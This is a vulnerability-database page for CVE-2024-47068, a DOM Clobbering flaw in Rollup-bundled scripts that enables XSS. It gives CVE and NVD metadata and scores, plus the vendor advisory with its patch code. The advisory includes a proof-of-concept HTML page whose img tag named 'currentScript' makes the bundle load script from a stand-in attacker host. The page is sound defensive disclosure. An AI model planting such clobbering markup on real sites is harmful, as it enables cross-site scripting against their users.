Vulnerability-Lookup

CVE-2024-47068 (GCVE-0-2024-47068)

Vulnerability from cvelistv5 – Published: 2024-09-23 15:26 – Updated: 2024-10-29 15:16

Title

DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

Summary

Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from `import.meta` (e.g., `import.meta.url`) in `cjs`/`umd`/`iife` format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4 contain a patch for the vulnerability.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-09-23 15:47 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7613 records in the last 180 days details

References

5 references

URL	Tags
https://github.com/rollup/rollup/security/advisor…	x_refsource_CONFIRM
https://github.com/rollup/rollup/commit/2ef77c00e…	x_refsource_MISC
https://github.com/rollup/rollup/commit/e2552c9e9…	x_refsource_MISC
https://github.com/rollup/rollup/blob/b86ffd776cf…	x_refsource_MISC
https://github.com/rollup/rollup/blob/b86ffd776cf…	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version	CPE status
rollup	rollup	Affected: >= 3.0.0, < 3.29.5 Affected: >= 4.0.0, < 4.22.4 Affected: < 2.79.2	guessed
rollup	rollup	Affected: 0 , < 3.29.5 (custom) Affected: 4.0.0 , < 4.22.4 (custom) cpe:2.3:a:rollup:rollup::::::::

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:rollup:rollup:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "rollup",
            "vendor": "rollup",
            "versions": [
              {
                "lessThan": "3.29.5",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              },
              {
                "lessThan": "4.22.4",
                "status": "affected",
                "version": "4.0.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47068",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-23T15:47:09.301929Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-23T15:53:25.040Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "rollup",
          "vendor": "rollup",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.29.5"
            },
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 4.22.4"
            },
            {
              "status": "affected",
              "version": "\u003c 2.79.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from `import.meta` (e.g., `import.meta.url`) in `cjs`/`umd`/`iife` format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4  contain a patch for the vulnerability."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-10-29T15:16:32.075Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/rollup/rollup/security/advisories/GHSA-gcx4-mw62-g8wm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/rollup/rollup/security/advisories/GHSA-gcx4-mw62-g8wm"
        },
        {
          "name": "https://github.com/rollup/rollup/commit/2ef77c00ec2635d42697cff2c0567ccc8db34fb4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rollup/rollup/commit/2ef77c00ec2635d42697cff2c0567ccc8db34fb4"
        },
        {
          "name": "https://github.com/rollup/rollup/commit/e2552c9e955e0a61f70f508200ee9f752f85a541",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rollup/rollup/commit/e2552c9e955e0a61f70f508200ee9f752f85a541"
        },
        {
          "name": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162"
        },
        {
          "name": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185"
        }
      ],
      "source": {
        "advisory": "GHSA-gcx4-mw62-g8wm",
        "discovery": "UNKNOWN"
      },
      "title": "DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2024-47068",
    "datePublished": "2024-09-23T15:26:09.313Z",
    "dateReserved": "2024-09-17T17:42:37.029Z",
    "dateUpdated": "2024-10-29T15:16:32.075Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2024-47068",
      "date": "2026-10-19",
      "epss": "0.00742",
      "percentile": "0.53865"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "rollup",
                "vendor": "rollup",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003e= 3.0.0, \u003c 3.29.5"
                  },
                  {
                    "status": "affected",
                    "version": "\u003e= 4.0.0, \u003c 4.22.4"
                  },
                  {
                    "status": "affected",
                    "version": "\u003c 2.79.2"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          },
          {
            "affectedData": [
              {
                "cpes": [
                  "cpe:2.3:a:rollup:rollup:*:*:*:*:*:*:*:*"
                ],
                "defaultStatus": "unknown",
                "product": "rollup",
                "vendor": "rollup",
                "versions": [
                  {
                    "lessThan": "3.29.5",
                    "status": "affected",
                    "version": "0",
                    "versionType": "custom"
                  },
                  {
                    "lessThan": "4.22.4",
                    "status": "affected",
                    "version": "4.0.0",
                    "versionType": "custom"
                  }
                ]
              }
            ],
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:rollupjs:rollup:*:*:*:*:*:node.js:*:*",
                    "matchCriteriaId": "7812FF87-65ED-493E-B7A2-CE52ED9A264B",
                    "versionEndExcluding": "2.79.2",
                    "versionStartIncluding": "0.59.0",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:rollupjs:rollup:*:*:*:*:*:node.js:*:*",
                    "matchCriteriaId": "569E13A3-3FB9-4F70-952F-A62469C94088",
                    "versionEndExcluding": "3.29.5",
                    "versionStartIncluding": "3.0.0",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:rollupjs:rollup:*:*:*:*:*:node.js:*:*",
                    "matchCriteriaId": "3D64745D-7FA0-491E-99ED-346369564D59",
                    "versionEndExcluding": "4.22.4",
                    "versionStartIncluding": "4.0.0",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from `import.meta` (e.g., `import.meta.url`) in `cjs`/`umd`/`iife` format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4  contain a patch for the vulnerability."
          },
          {
            "lang": "es",
            "value": "Rollup es un empaquetador de m\u00f3dulos para JavaScript. Las versiones anteriores a 3.29.5 y 4.22.4 son susceptibles a una vulnerabilidad de DOM Clobbering al agrupar scripts con propiedades de `import.meta` (por ejemplo, `import.meta.url`) en formato `cjs`/`umd`/`iife`. El gadget DOM Clobbering puede provocar cross-site scripting (XSS) en p\u00e1ginas web donde hay elementos HTML sin scripts controlados por atacantes (por ejemplo, una etiqueta `img` con un atributo `name` no saneado). Las versiones 3.29.5 y 4.22.4 contienen un parche para la vulnerabilidad."
          }
        ],
        "id": "CVE-2024-47068",
        "lastModified": "2026-06-17T07:56:29.220",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.1,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 2.7,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            },
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.1,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 2.7,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2024-47068",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-23T15:47:09.301929Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2024-09-23T16:15:06.947",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Product"
            ],
            "url": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Product"
            ],
            "url": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch"
            ],
            "url": "https://github.com/rollup/rollup/commit/2ef77c00ec2635d42697cff2c0567ccc8db34fb4"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch"
            ],
            "url": "https://github.com/rollup/rollup/commit/e2552c9e955e0a61f70f508200ee9f752f85a541"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/rollup/rollup/security/advisories/GHSA-gcx4-mw62-g8wm"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Modified",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-79"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "aggregate_severity": "Moderate",
      "current_release_date": "2026-10-14T04:55:45+00:00",
      "cve": "CVE-2024-47068",
      "id": "CVE-2024-47068",
      "initial_release_date": "2024-09-23T16:15:06.947000+00:00",
      "product_status:fixed": "9",
      "product_status:known_affected": "6",
      "product_status:known_not_affected": "118",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "rollup: DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2024/cve-2024-47068.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "affected": [
              {
                "cpes": [
                  "cpe:2.3:a:rollup:rollup:*:*:*:*:*:*:*:*"
                ],
                "defaultStatus": "unknown",
                "product": "rollup",
                "vendor": "rollup",
                "versions": [
                  {
                    "lessThan": "3.29.5",
                    "status": "affected",
                    "version": "0",
                    "versionType": "custom"
                  },
                  {
                    "lessThan": "4.22.4",
                    "status": "affected",
                    "version": "4.0.0",
                    "versionType": "custom"
                  }
                ]
              }
            ],
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2024-47068",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2024-09-23T15:47:09.301929Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2024-09-23T15:53:10.610Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "rollup",
              "vendor": "rollup",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003e= 3.0.0, \u003c 3.29.5"
                },
                {
                  "status": "affected",
                  "version": "\u003e= 4.0.0, \u003c 4.22.4"
                },
                {
                  "status": "affected",
                  "version": "\u003c 2.79.2"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability when bundling scripts with properties from `import.meta` (e.g., `import.meta.url`) in `cjs`/`umd`/`iife` format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present. Versions 2.79.2, 3.29.5, and 4.22.4  contain a patch for the vulnerability."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.1,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-79",
                  "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2024-10-29T15:16:32.075Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/rollup/rollup/security/advisories/GHSA-gcx4-mw62-g8wm",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/rollup/rollup/security/advisories/GHSA-gcx4-mw62-g8wm"
            },
            {
              "name": "https://github.com/rollup/rollup/commit/2ef77c00ec2635d42697cff2c0567ccc8db34fb4",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/rollup/rollup/commit/2ef77c00ec2635d42697cff2c0567ccc8db34fb4"
            },
            {
              "name": "https://github.com/rollup/rollup/commit/e2552c9e955e0a61f70f508200ee9f752f85a541",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/rollup/rollup/commit/e2552c9e955e0a61f70f508200ee9f752f85a541"
            },
            {
              "name": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162"
            },
            {
              "name": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185"
            }
          ],
          "source": {
            "advisory": "GHSA-gcx4-mw62-g8wm",
            "discovery": "UNKNOWN"
          },
          "title": "DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2024-47068",
        "datePublished": "2024-09-23T15:26:09.313Z",
        "dateReserved": "2024-09-17T17:42:37.029Z",
        "dateUpdated": "2024-10-29T15:16:32.075Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

BREW-ROLLUP-CVE-2024-47068 (GHSA-GCX4-MW62-G8WM)

Vulnerability from osv_homebrew – Published: 2026-08-13 17:32 – Updated: 2026-10-19 09:41 – Source website

Summary

DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

Details

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
    getResolveUrl(
        `'${escapeId(relativePath)}', ${
            umd ? `typeof document === 'undefined' ? location.href : ` : ''
        }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
    );

const getUrlFromDocument = (chunkId: string, umd = false) =>
    `${
        umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
        chunkId
    )}', document.baseURI).href)`;

Severity

6.4 (Medium)


                    
                      CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

8.3 (High)


                    
                      CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N

References

URL

Type

	https://github.com/rollup/rollup/security/advisor…	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2024-47068	ADVISORY
	https://github.com/rollup/rollup/commit/2ef77c00e…	WEB
	https://github.com/rollup/rollup/commit/e2552c9e9…	WEB
	https://github.com/rollup/rollup	PACKAGE
	https://github.com/rollup/rollup/blob/b86ffd776cf…	WEB
	https://github.com/rollup/rollup/blob/b86ffd776cf…	WEB

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "4.22.4"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "rollup",
        "purl": "pkg:brew/rollup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.56.3"
            },
            {
              "fixed": "4.22.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "npm",
        "key": "pkg:npm/rollup@4.64.9",
        "name": "rollup",
        "strategy": "registry",
        "subject_version": "4.64.9"
      }
    ]
  },
  "details": "### Summary\n\nWe discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use `import.meta.url` or with plugins that emit and reference asset files from code  in `cjs`/`umd`/`iife` format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present.\n\nIt\u0027s worth noting that we\u2019ve identifed similar issues in other popular bundlers like Webpack ([CVE-2024-43788](https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986)), which might serve as a good reference.\n\n### Details\n\n#### Backgrounds\n\nDOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:\n\n[1] https://scnps.co/papers/sp23_domclob.pdf\n[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/\n\n#### Gadget found in `rollup`\n\nWe have identified a DOM Clobbering vulnerability in `rollup` bundled scripts, particularly when the scripts uses `import.meta` and set output in format of  `cjs`/`umd`/`iife`. In such cases, `rollup` replaces meta property with the URL retrieved from `document.currentScript`.\n\nhttps://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162\n\nhttps://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185\n\nHowever, this implementation is vulnerable to a DOM Clobbering attack. The `document.currentScript` lookup can be shadowed by an attacker via the browser\u0027s named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the `src` attribute of the attacker-controlled element (e.g., an `img` tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.\n\n### PoC\n\nConsidering a website that contains the following `main.js` script, the devloper decides to use the `rollup` to bundle up the program: `rollup main.js --format cjs --file bundle.js`.\n\n```\nvar s = document.createElement(\u0027script\u0027)\ns.src = import.meta.url + \u0027extra.js\u0027\ndocument.head.append(s)\n```\n\nThe output `bundle.js` is shown in the following code snippet.\n\n```\n\u0027use strict\u0027;\n\nvar _documentCurrentScript = typeof document !== \u0027undefined\u0027 ? document.currentScript : null;\nvar s = document.createElement(\u0027script\u0027);\ns.src = (typeof document === \u0027undefined\u0027 ? require(\u0027u\u0027 + \u0027rl\u0027).pathToFileURL(__filename).href : (_documentCurrentScript \u0026\u0026 False \u0026\u0026 _documentCurrentScript.src || new URL(\u0027bundle.js\u0027, document.baseURI).href)) + \u0027extra.js\u0027;\ndocument.head.append(s);\n```\n\nAdding the `rollup` bundled script, `bundle.js`, as part of the web page source code, the page could load the `extra.js` file from the attacker\u0027s domain, `attacker.controlled.server` due to the introduced gadget during bundling. The attacker only needs to insert an `img` tag with the name attribute set to `currentScript`. This can be done through a website\u0027s feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.\n\n```\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003ctitle\u003erollup Example\u003c/title\u003e\n  \u003c!-- Attacker-controlled Script-less HTML Element starts--!\u003e\n  \u003cimg name=\"currentScript\" src=\"https://attacker.controlled.server/\"\u003e\u003c/img\u003e\n  \u003c!-- Attacker-controlled Script-less HTML Element ends--!\u003e\n\u003c/head\u003e\n\u003cscript type=\"module\" crossorigin src=\"bundle.js\"\u003e\u003c/script\u003e\n\u003cbody\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nThis vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of `cjs`, `iife`, or `umd` and use `import.meta`) and allow users to inject certain scriptless HTML tags without properly sanitizing the `name` or `id` attributes.\n\n### Patch\n\nPatching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.\n\n```\nconst getRelativeUrlFromDocument = (relativePath: string, umd = false) =\u003e\n\tgetResolveUrl(\n\t\t`\u0027${escapeId(relativePath)}\u0027, ${\n\t\t\tumd ? `typeof document === \u0027undefined\u0027 ? location.href : ` : \u0027\u0027\n\t\t}document.currentScript \u0026\u0026 document.currentScript.tagName.toUpperCase() === \u0027SCRIPT\u0027 \u0026\u0026 document.currentScript.src || document.baseURI`\n\t);\n```\n\n```\nconst getUrlFromDocument = (chunkId: string, umd = false) =\u003e\n\t`${\n\t\tumd ? `typeof document === \u0027undefined\u0027 ? location.href : ` : \u0027\u0027\n\t}(${DOCUMENT_CURRENT_SCRIPT} \u0026\u0026 ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === \u0027SCRIPT\u0027 \u0026\u0026${DOCUMENT_CURRENT_SCRIPT}.src || new URL(\u0027${escapeId(\n\t\tchunkId\n\t)}\u0027, document.baseURI).href)`;\n```\n",
  "id": "BREW-rollup-CVE-2024-47068",
  "modified": "2026-10-19T09:41:11Z",
  "published": "2026-08-13T17:32:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/security/advisories/GHSA-gcx4-mw62-g8wm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47068"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/commit/2ef77c00ec2635d42697cff2c0567ccc8db34fb4"
    },
    {
      "type": "WEB",
